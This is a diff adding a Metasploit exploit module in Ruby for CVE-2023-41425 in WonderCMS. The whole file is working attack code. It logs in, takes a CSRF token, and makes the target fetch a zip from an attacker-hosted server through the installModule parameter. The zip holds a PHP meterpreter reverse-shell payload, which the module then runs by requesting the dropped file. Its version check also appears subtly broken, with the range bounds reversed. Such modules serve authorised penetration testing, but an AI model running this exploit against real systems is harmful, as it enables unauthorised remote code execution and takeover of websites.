|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'rex/zip' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpServer |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + include Msf::Exploit::FileDropper |
| 14 | + prepend Msf::Exploit::Remote::AutoCheck |
| 15 | + |
| 16 | + def initialize(info = {}) |
| 17 | + super( |
| 18 | + update_info( |
| 19 | + info, |
| 20 | + 'Name' => 'WonderCMS Remote Code Execution', |
| 21 | + 'Description' => %q{ |
| 22 | + This module exploits CVE-2023-41425, an authenticated file upload vulnerability affecting WonderCMS between 3.2.0 and 3.4.2. |
| 23 | + }, |
| 24 | + 'License' => MSF_LICENSE, |
| 25 | + 'Author' => [ |
| 26 | + 'msutovsky-r7', # msf module |
| 27 | + 'Milad "Ex3ptionaL" Karimi' # original exploit |
| 28 | + ], |
| 29 | + 'References' => [ |
| 30 | + [ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-41425'], |
| 31 | + [ 'URL', 'https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413'], |
| 32 | + [ 'CVE', '2023-41425'], |
| 33 | + [ 'EDB', '52271'] |
| 34 | + ], |
| 35 | + 'Targets' => [ |
| 36 | + [ |
| 37 | + 'PHP', |
| 38 | + { |
| 39 | + 'Platform' => ['php'], |
| 40 | + 'Arch' => ARCH_PHP, |
| 41 | + 'Type' => :php, |
| 42 | + 'DefaultOptions' => { |
| 43 | + 'PAYLOAD' => 'php/meterpreter/reverse_tcp' |
| 44 | + } |
| 45 | + } |
| 46 | + ] |
| 47 | + ], |
| 48 | + 'DisclosureDate' => '2023-11-07', |
| 49 | + 'DefaultTarget' => 0, |
| 50 | + 'Notes' => { |
| 51 | + 'Stability' => [CRASH_SAFE], |
| 52 | + 'Reliability' => [REPEATABLE_SESSION], |
| 53 | + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] |
| 54 | + } |
| 55 | + ) |
| 56 | + ) |
| 57 | + |
| 58 | + register_options([ |
| 59 | + OptString.new('TARGETURI', [true, 'Path to the WonderCMS application', '/wondercms']), |
| 60 | + OptString.new('PASSWORD', [true, 'Password to log into WonderCMS', '']), |
| 61 | + OptBool.new('CLEANUP', [false, 'Enable payload file cleanup', true]) |
| 62 | + ]) |
| 63 | + end |
| 64 | + |
| 65 | + def login |
| 66 | + return if @logged_in |
| 67 | + |
| 68 | + res = send_request_cgi({ |
| 69 | + 'method' => 'POST', |
| 70 | + 'uri' => normalize_uri(target_uri.path, '/loginURL'), |
| 71 | + 'keep_cookies' => true, |
| 72 | + 'vars_post' => { |
| 73 | + 'password' => datastore['PASSWORD'] |
| 74 | + } |
| 75 | + }) |
| 76 | + |
| 77 | + fail_with(Failure::NoAccess, 'Incorrect credentials') unless res&.code == 302 && !res.headers&.fetch('Location', '')&.include?('loginURL') |
| 78 | + |
| 79 | + @logged_in = true |
| 80 | + end |
| 81 | + |
| 82 | + def check |
| 83 | + res = send_request_cgi({ |
| 84 | + 'method' => 'GET', |
| 85 | + 'uri' => normalize_uri(target_uri.path, '/how-to') |
| 86 | + }) |
| 87 | + return Exploit::CheckCode::Unknown('Cannot connect to the remote host') unless res&.code == 200 |
| 88 | + |
| 89 | + return Exploit::CheckCode::Safe('WonderCMS was not detected') unless res.body&.include?('WonderCMS') |
| 90 | + |
| 91 | + vprint_status('Target is probably WonderCMS..') |
| 92 | + |
| 93 | + login |
| 94 | + |
| 95 | + res = send_request_cgi!({ |
| 96 | + 'method' => 'GET', |
| 97 | + 'uri' => normalize_uri(target_uri.path) |
| 98 | + }) |
| 99 | + |
| 100 | + return Exploit::CheckCode::Unknown('Failed to connect') unless res&.code == 200 |
| 101 | + |
| 102 | + html_document = res.get_html_document |
| 103 | + |
| 104 | + html_document.xpath('//a[@href="https://wondercms.com"]').find { |link| link.text =~ /WonderCMS (\d.\d?\d?.\d?\d?)/ } |
| 105 | + |
| 106 | + version = Rex::Version.new(Regexp.last_match(1)) |
| 107 | + |
| 108 | + return Exploit::CheckCode::Unknown('Unable to get version') unless version |
| 109 | + |
| 110 | + return Msf::Exploit::CheckCode::Safe("WonderCMS #{version} is not affected") if version.between?(Rex::Version.new('3.4.2'), Rex::Version.new('3.2.0')) |
| 111 | + |
| 112 | + return Exploit::CheckCode::Vulnerable("Version #{version} is affected") |
| 113 | + end |
| 114 | + |
| 115 | + def create_vulnerable_zip |
| 116 | + @payload_filename = "#{Rex::Text.rand_text_alphanumeric(3..12)}.php" |
| 117 | + files = |
| 118 | + [ |
| 119 | + { data: payload.encoded, fname: @payload_filename } |
| 120 | + ] |
| 121 | + |
| 122 | + @vuln_zip = Msf::Util::EXE.to_zip(files) |
| 123 | + register_file_for_cleanup(@payload_filename) if datastore['CLEANUP'] |
| 124 | + end |
| 125 | + |
| 126 | + def on_request_uri(cli, _request) |
| 127 | + print_status('Received request, sending payload..') |
| 128 | + send_response(cli, @vuln_zip) |
| 129 | + end |
| 130 | + |
| 131 | + def install_malicious_component |
| 132 | + res = send_request_cgi!({ |
| 133 | + 'method' => 'GET', |
| 134 | + 'uri' => normalize_uri(target_uri.path) |
| 135 | + }) |
| 136 | + |
| 137 | + return Exploit::CheckCode::Unknown('Failed to connect') unless res&.code == 200 |
| 138 | + |
| 139 | + html_document = res.get_html_document |
| 140 | + @token = html_document.at("input[@name='token']").attributes.fetch('value', nil) |
| 141 | + |
| 142 | + return Exploit::CheckCode::Unknown('Failed to get token') unless @token |
| 143 | + |
| 144 | + send_request_cgi!({ |
| 145 | + 'method' => 'GET', |
| 146 | + 'uri' => normalize_uri(target_uri.path, "/?installModule=http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@zip_filename}&directoryName=#{Rex::Text.rand_text_alphanumeric(1..8)}&type=themes&token=#{@token}") |
| 147 | + }) |
| 148 | + end |
| 149 | + |
| 150 | + def exploit |
| 151 | + if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 |
| 152 | + fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') |
| 153 | + end |
| 154 | + |
| 155 | + login |
| 156 | + |
| 157 | + create_vulnerable_zip |
| 158 | + |
| 159 | + @zip_filename = "#{Rex::Text.rand_text_alphanumeric(4..8)}.zip" |
| 160 | + start_service({ |
| 161 | + 'Uri' => { |
| 162 | + 'Proc' => proc do |cli, req| |
| 163 | + on_request_uri(cli, req) |
| 164 | + end, |
| 165 | + 'Path' => "/#{@zip_filename}" |
| 166 | + } |
| 167 | + }) |
| 168 | + |
| 169 | + install_malicious_component |
| 170 | + |
| 171 | + send_request_cgi!({ |
| 172 | + 'method' => 'GET', |
| 173 | + 'uri' => normalize_uri(target_uri.path, "/themes/#{@payload_filename}") |
| 174 | + }) |
| 175 | + end |
| 176 | +end |
0 commit comments